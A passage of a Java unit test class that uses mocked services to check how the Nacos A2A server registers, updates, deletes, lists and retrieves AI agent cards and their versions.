configQueryChainService;\n    \n    @Mock\n    private ConfigOperationService configOperationService;\n    \n    @Mock\n    private ConfigDetailService configDetailService;\n    \n    @Mock\n    private SyncEffectService syncEffectService;\n    \n    @Mock\n    private AgentIdCodecHolder agentIdCodecHolder;\n    \n    @Mock\n    private ServiceStorage serviceStorage;\n    \n    private A2aServerOperationService a2aServerOperationService;\n    \n    @BeforeEach\n    void setUp() {\n        a2aServerOperationService = new A2aServerOperationService(configQueryChainService, configOperationService,\n                configDetailService, syncEffectService, serviceStorage, agentIdCodecHolder);\n        \n        when(agentIdCodecHolder.encode(anyString())).thenReturn(ENCODED_AGENT_NAME);\n        when(agentIdCodecHolder.encodeForSearch(anyString())).thenReturn(ENCODED_AGENT_NAME);\n    }\n    \n    @Test\n    void testRegisterAgentSuccess() throws NacosException {\n        final AgentCard agentCard = buildTestAgentCard();\n        \n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        when(configOperationService.publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null))).thenReturn(true);\n        doNothing().when(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n        \n        a2aServerOperationService.registerAgent(agentCard, TEST_NAMESPACE_ID, TEST_REGISTRATION_TYPE);\n        \n        verify(configOperationService, times(2)).publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null));\n        verify(syncEffectService, times(1)).toSync(any(ConfigForm.class), anyLong());\n    }\n    \n    @Test\n    void testRegisterAgentAlreadyExists() throws NacosException {\n        AgentCard agentCard = buildTestAgentCard();\n        \n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        when(configOperationService.publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null))).thenThrow(new ConfigAlreadyExistsException(\"Config already exists\"));\n        \n        NacosApiException exception = assertThrows(NacosApiException.class, () -> {\n            a2aServerOperationService.registerAgent(agentCard, TEST_NAMESPACE_ID, TEST_REGISTRATION_TYPE);\n        });\n        \n        assertEquals(NacosException.CONFLICT, exception.getErrCode());\n        assertEquals(ErrorCode.RESOURCE_CONFLICT.getCode(), exception.getDetailErrCode());\n    }\n    \n    @Test\n    void testDeleteAgentSuccess() throws NacosException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        \n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(response.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        when(configOperationService.deleteConfig(eq(ENCODED_AGENT_NAME_WITH_VERSION),\n                eq(Constants.A2A.AGENT_VERSION_GROUP), eq(TEST_NAMESPACE_ID), eq(null), eq(null), eq(\"nacos\"),\n                eq(null))).thenReturn(true);\n        \n        a2aServerOperationService.deleteAgent(TEST_NAMESPACE_ID, TEST_AGENT_NAME, TEST_AGENT_VERSION);\n        \n        verify(configOperationService, times(1)).deleteConfig(eq(ENCODED_AGENT_NAME_WITH_VERSION),\n                eq(Constants.A2A.AGENT_VERSION_GROUP), eq(TEST_NAMESPACE_ID), eq(null), eq(null), eq(\"nacos\"),\n                eq(null));\n    }\n    \n    @Test\n    void testDeleteAgentDeleteAllVersions() throws NacosException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        \n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(response.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        when(configOperationService.deleteConfig(anyString(), anyString(), anyString(), any(), any(), anyString(),\n                any())).thenReturn(true);\n        \n        // Test deleting all versions (version param is null)\n        a2aServerOperationService.deleteAgent(TEST_NAMESPACE_ID, TEST_AGENT_NAME, null);\n        \n        // Should delete both version-specific config and main config\n        verify(configOperationService, times(2)).deleteConfig(anyString(), anyString(), anyString(), any(), any(),\n                anyString(), any());\n    }\n    \n    @Test\n    void testDeleteAgentDeleteLastVersion() throws NacosException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        \n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(response.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        when(configOperationService.deleteConfig(eq(ENCODED_AGENT_NAME_WITH_VERSION),\n                eq(Constants.A2A.AGENT_VERSION_GROUP), eq(TEST_NAMESPACE_ID), eq(null), eq(null), eq(\"nacos\"),\n                eq(null))).thenReturn(true);\n        when(configOperationService.deleteConfig(eq(ENCODED_AGENT_NAME), eq(Constants.A2A.AGENT_GROUP),\n                eq(TEST_NAMESPACE_ID), eq(null), eq(null), eq(\"nacos\"), eq(null))).thenReturn(true);\n        \n        // Test deleting the last version - should also delete main config\n        a2aServerOperationService.deleteAgent(TEST_NAMESPACE_ID, TEST_AGENT_NAME, TEST_AGENT_VERSION);\n        \n        verify(configOperationService).deleteConfig(eq(ENCODED_AGENT_NAME_WITH_VERSION),\n                eq(Constants.A2A.AGENT_VERSION_GROUP), eq(TEST_NAMESPACE_ID), eq(null), eq(null), eq(\"nacos\"),\n                eq(null));\n        verify(configOperationService).deleteConfig(eq(ENCODED_AGENT_NAME), eq(Constants.A2A.AGENT_GROUP),\n                eq(TEST_NAMESPACE_ID), eq(null), eq(null), eq(\"nacos\"), eq(null));\n    }\n    \n    @Test\n    void testDeleteAgentWhenAgentNotFound() throws NacosException {\n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        a2aServerOperationService.deleteAgent(TEST_NAMESPACE_ID, TEST_AGENT_NAME, TEST_AGENT_VERSION);\n        \n        verify(configOperationService, times(0)).deleteConfig(anyString(), anyString(), anyString(), any(), any(),\n                anyString(), any());\n    }\n    \n    @Test\n    void testDeleteAgentWithVersionNotFoundInVersionDetails() throws NacosException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        // Change the version in version details to something else\n        versionInfo.getVersionDetails().get(0).setVersion(\"2.0.0\");\n        \n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(response.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        when(configOperationService.deleteConfig(anyString(), anyString(), anyString(), any(), any(), anyString(),\n                any())).thenReturn(true);\n        \n        // Try to delete a version that doesn't exist in version details\n        a2aServerOperationService.deleteAgent(TEST_NAMESPACE_ID, TEST_AGENT_NAME, TEST_AGENT_VERSION);\n        \n        // Should still delete the config file even if not in version details\n        verify(configOperationService).deleteConfig(eq(ENCODED_AGENT_NAME_WITH_VERSION),\n                eq(Constants.A2A.AGENT_VERSION_GROUP), eq(TEST_NAMESPACE_ID), any(), any(), anyString(), any());\n    }\n    \n    @Test\n    void testUpdateAgentCardSuccess() throws NacosException {\n        final AgentCard agentCard = buildTestAgentCard();\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(buildTestAgentCardVersionInfo()));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(buildTestAgentCardDetailInfo()));\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        when(configOperationService.publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null))).thenReturn(true);\n        doNothing().when(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n        \n        a2aServerOperationService.updateAgentCard(agentCard, TEST_NAMESPACE_ID, TEST_REGISTRATION_TYPE, true);\n        \n        verify(configOperationService, times(2)).publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null));\n        verify(syncEffectService, times(1)).toSync(any(ConfigForm.class), anyLong());\n    }\n    \n    @Test\n    void testUpdateAgentCardWithExistingVersion() throws NacosException {\n        final AgentCard agentCard = buildTestAgentCard();\n        AgentCardVersionInfo existingVersionInfo = buildTestAgentCardVersionInfo();\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(existingVersionInfo));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(buildTestAgentCardDetailInfo()));\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        when(configOperationService.publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null))).thenReturn(true);\n        doNothing().when(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n        \n        // Update with existing version\n        a2aServerOperationService.updateAgentCard(agentCard, TEST_NAMESPACE_ID, TEST_REGISTRATION_TYPE, true);\n        \n        verify(configOperationService, times(2)).publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null));\n        verify(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n    }\n    \n    @Test\n    void testUpdateAgentCardWithNewVersion() throws NacosException {\n        final AgentCard agentCard = buildTestAgentCard();\n        AgentCardVersionInfo existingVersionInfo = buildTestAgentCardVersionInfo();\n        // Modify version to be different from agent card\n        existingVersionInfo.getVersionDetails().get(0).setVersion(\"0.9.0\");\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(existingVersionInfo));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(buildTestAgentCardDetailInfo()));\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        when(configOperationService.publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null))).thenReturn(true);\n        doNothing().when(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n        \n        // Update with new version - should add to version list\n        a2aServerOperationService.updateAgentCard(agentCard, TEST_NAMESPACE_ID, TEST_REGISTRATION_TYPE, true);\n        \n        verify(configOperationService, times(2)).publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null));\n        verify(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n    }\n    \n    @Test\n    void testUpdateAgentCardWithoutRegistrationType() throws NacosException {\n        final AgentCard agentCard = buildTestAgentCard();\n        AgentCardVersionInfo existingVersionInfo = buildTestAgentCardVersionInfo();\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(existingVersionInfo));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(buildTestAgentCardDetailInfo()));\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        when(configOperationService.publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null))).thenReturn(true);\n        doNothing().when(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n        \n        // Update without registration type - should use existing one\n        a2aServerOperationService.updateAgentCard(agentCard, TEST_NAMESPACE_ID, null, false);\n        \n        verify(configOperationService, times(2)).publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null));\n        verify(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n    }\n    \n    @Test\n    void testUpdateAgentCardNotSetAsLatest() throws NacosException {\n        final AgentCard agentCard = buildTestAgentCard();\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(buildTestAgentCardVersionInfo()));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(buildTestAgentCardDetailInfo()));\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        when(configOperationService.publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null))).thenReturn(true);\n        doNothing().when(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n        \n        // Update without setting as latest\n        a2aServerOperationService.updateAgentCard(agentCard, TEST_NAMESPACE_ID, TEST_REGISTRATION_TYPE, false);\n        \n        verify(configOperationService, times(2)).publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null));\n        verify(syncEffectService, times(1)).toSync(any(ConfigForm.class), anyLong());\n    }\n    \n    @Test\n    void testUpdateAgentCardSetAsLatestWithMultipleVersions() throws NacosException {\n        final AgentCard agentCard = buildTestAgentCard();\n        AgentCardVersionInfo existingVersionInfo = buildTestAgentCardVersionInfo();\n        List<AgentVersionDetail> newVersionDetail = new LinkedList<>(existingVersionInfo.getVersionDetails());\n        \n        // Add another version\n        AgentVersionDetail anotherVersion = new AgentVersionDetail();\n        anotherVersion.setVersion(\"0.9.0\");\n        anotherVersion.setLatest(false);\n        newVersionDetail.add(anotherVersion);\n        existingVersionInfo.setVersionDetails(newVersionDetail);\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(existingVersionInfo));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(buildTestAgentCardDetailInfo()));\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        when(configOperationService.publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null))).thenReturn(true);\n        doNothing().when(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n        \n        // Update and set as latest - should update version details appropriately\n        a2aServerOperationService.updateAgentCard(agentCard, TEST_NAMESPACE_ID, TEST_REGISTRATION_TYPE, true);\n        \n        verify(configOperationService, times(2)).publishConfig(any(ConfigForm.class), any(ConfigRequestInfo.class),\n                eq(null));\n        verify(syncEffectService).toSync(any(ConfigForm.class), anyLong());\n    }\n    \n    @Test\n    void testListAgentsSuccess() throws NacosException {\n        Page<ConfigInfo> configPage = new Page<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        configInfo.setContent(JacksonUtils.toJson(versionInfo));\n        configPage.setPageItems(Collections.singletonList(configInfo));\n        configPage.setTotalCount(1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.A2A.SEARCH_BLUR), eq(1), eq(10), anyString(),\n                eq(Constants.A2A.AGENT_GROUP), eq(TEST_NAMESPACE_ID), eq(null))).thenReturn(configPage);\n        \n        Page<AgentCardVersionInfo> result = a2aServerOperationService.listAgents(TEST_NAMESPACE_ID, TEST_AGENT_NAME,\n                Constants.A2A.SEARCH_BLUR, 1, 10);\n        \n        assertNotNull(result);\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getPageItems().size());\n    }\n    \n    @Test\n    void testListAgentsAccurateSearch() throws NacosException {\n        Page<ConfigInfo> configPage = new Page<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        configInfo.setContent(JacksonUtils.toJson(versionInfo));\n        configPage.setPageItems(Collections.singletonList(configInfo));\n        configPage.setTotalCount(1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.A2A.SEARCH_ACCURATE), eq(1), eq(10), anyString(),\n                eq(Constants.A2A.AGENT_GROUP), eq(TEST_NAMESPACE_ID), eq(null))).thenReturn(configPage);\n        \n        Page<AgentCardVersionInfo> result = a2aServerOperationService.listAgents(TEST_NAMESPACE_ID, TEST_AGENT_NAME,\n                Constants.A2A.SEARCH_ACCURATE, 1, 10);\n        \n        assertNotNull(result);\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getPageItems().size());\n    }\n    \n    @Test\n    void testListAgentsEmptyAgentName() throws NacosException {\n        Page<ConfigInfo> configPage = new Page<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        configInfo.setContent(JacksonUtils.toJson(versionInfo));\n        configPage.setPageItems(Collections.singletonList(configInfo));\n        configPage.setTotalCount(1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.A2A.SEARCH_BLUR), eq(1), eq(10), anyString(),\n                eq(Constants.A2A.AGENT_GROUP), eq(TEST_NAMESPACE_ID), eq(null))).thenReturn(configPage);\n        \n        Page<AgentCardVersionInfo> result = a2aServerOperationService.listAgents(TEST_NAMESPACE_ID, null,\n                Constants.A2A.SEARCH_BLUR, 1, 10);\n        \n        assertNotNull(result);\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getPageItems().size());\n    }\n    \n    @Test\n    void testListAgentVersionsSuccess() throws NacosApiException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(response.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        List<AgentVersionDetail> result = a2aServerOperationService.listAgentVersions(TEST_NAMESPACE_ID,\n                TEST_AGENT_NAME);\n        \n        assertNotNull(result);\n        assertEquals(1, result.size());\n    }\n    \n    @Test\n    void testQueryAgentCardVersionInfoNotFound() throws NacosApiException {\n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        NacosApiException exception = assertThrows(NacosApiException.class, () -> {\n            // This is a private method, but we can test it through public methods that use it\n            a2aServerOperationService.listAgentVersions(TEST_NAMESPACE_ID, \"non-existent-agent\");\n        });\n        \n        assertEquals(NacosException.NOT_FOUND, exception.getErrCode());\n        assertEquals(ErrorCode.AGENT_NOT_FOUND.getCode(), exception.getDetailErrCode());\n    }\n    \n    @Test\n    void testGetAgentCardSuccess() throws NacosApiException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        AgentCardDetailInfo detailInfo = buildTestAgentCardDetailInfo();\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(detailInfo));\n        \n        // Mock service storage for endpoint injection\n        Service service = Service.newService(TEST_NAMESPACE_ID, Constants.A2A.AGENT_ENDPOINT_GROUP,\n                ENCODED_AGENT_NAME + \"::\" + TEST_AGENT_VERSION);\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setHosts(Collections.emptyList());\n        when(serviceStorage.getData(service)).thenReturn(serviceInfo);\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        AgentCardDetailInfo result = a2aServerOperationService.getAgentCard(TEST_NAMESPACE_ID, TEST_AGENT_NAME,\n                TEST_AGENT_VERSION, TEST_REGISTRATION_TYPE);\n        \n        assertNotNull(result);\n        assertEquals(TEST_AGENT_NAME, result.getName());\n        assertEquals(TEST_AGENT_VERSION, result.getVersion());\n    }\n    \n    @Test\n    void testGetAgentCardNotFound() throws NacosApiException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        NacosApiException exception = assertThrows(NacosApiException.class, () -> {\n            a2aServerOperationService.getAgentCard(TEST_NAMESPACE_ID, TEST_AGENT_NAME, TEST_AGENT_VERSION,\n                    TEST_REGISTRATION_TYPE);\n        });\n        \n        assertEquals(NacosException.NOT_FOUND, exception.getErrCode());\n        assertEquals(ErrorCode.AGENT_VERSION_NOT_FOUND.getCode(), exception.getDetailErrCode());\n    }\n    \n    @Test\n    void testGetAgentCardLatestVersion() throws NacosApiException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        AgentCardDetailInfo detailInfo = buildTestAgentCardDetailInfo();\n        detailInfo.setPreferredTransport(AiConstants.A2a.A2A_ENDPOINT_DEFAULT_TRANSPORT);\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(detailInfo));\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        final Service service = Service.newService(TEST_NAMESPACE_ID, Constants.A2A.AGENT_ENDPOINT_GROUP,\n                ENCODED_AGENT_NAME + \"::\" + TEST_AGENT_VERSION);\n        final ServiceInfo serviceInfo = new ServiceInfo();\n        com.alibaba.nacos.api.naming.pojo.Instance instance = new com.alibaba.nacos.api.naming.pojo.Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8080);\n        instance.getMetadata().put(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY, detailInfo.getPreferredTransport());\n        serviceInfo.addHost(instance);\n        when(serviceStorage.getData(service)).thenReturn(serviceInfo);\n        \n        // Get latest version (version param is null)\n        AgentCardDetailInfo result = a2aServerOperationService.getAgentCard(TEST_NAMESPACE_ID, TEST_AGENT_NAME, null,\n                TEST_REGISTRATION_TYPE);\n        \n        assertNotNull(result);\n        assertEquals(TEST_AGENT_NAME, result.getName());\n        assertEquals(TEST_AGENT_VERSION, result.getVersion());\n        assertEquals(Boolean.TRUE, result.isLatestVersion());\n    }\n    \n    @Test\n    void testGetAgentCardLatestVersionNotFound() throws NacosApiException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        // No latest version\n        versionInfo.getVersionDetails().get(0).setLatest(false);\n        versionInfo.setLatestPublishedVersion(null);\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse);\n        \n        NacosApiException exception = assertThrows(NacosApiException.class, () -> {\n            a2aServerOperationService.getAgentCard(TEST_NAMESPACE_ID, TEST_AGENT_NAME, null, TEST_REGISTRATION_TYPE);\n        });\n        \n        assertEquals(NacosException.NOT_FOUND, exception.getErrCode());\n        assertEquals(ErrorCode.AGENT_VERSION_NOT_FOUND.getCode(), exception.getDetailErrCode());\n    }\n    \n    @Test\n    void testGetAgentCardWithServiceRegistrationType() throws NacosApiException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        AgentCardDetailInfo detailInfo = buildTestAgentCardDetailInfo();\n        detailInfo.setRegistrationType(\"service\");\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(detailInfo));\n        \n        Service service = Service.newService(TEST_NAMESPACE_ID, Constants.A2A.AGENT_ENDPOINT_GROUP,\n                ENCODED_AGENT_NAME + \"::\" + TEST_AGENT_VERSION);\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setHosts(Collections.emptyList());\n        when(serviceStorage.getData(service)).thenReturn(serviceInfo);\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        AgentCardDetailInfo result = a2aServerOperationService.getAgentCard(TEST_NAMESPACE_ID, TEST_AGENT_NAME,\n                TEST_AGENT_VERSION, \"service\");\n        \n        assertNotNull(result);\n        assertEquals(TEST_AGENT_NAME, result.getName());\n        assertEquals(TEST_AGENT_VERSION, result.getVersion());\n    }\n    \n    @Test\n    void testGetAgentCardWithServiceEndpoints() throws NacosApiException {\n        final AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        AgentCardDetailInfo detailInfo = buildTestAgentCardDetailInfo();\n        detailInfo.setRegistrationType(\"service\");\n        detailInfo.setPreferredTransport(AiConstants.A2a.A2A_ENDPOINT_DEFAULT_TRANSPORT);\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        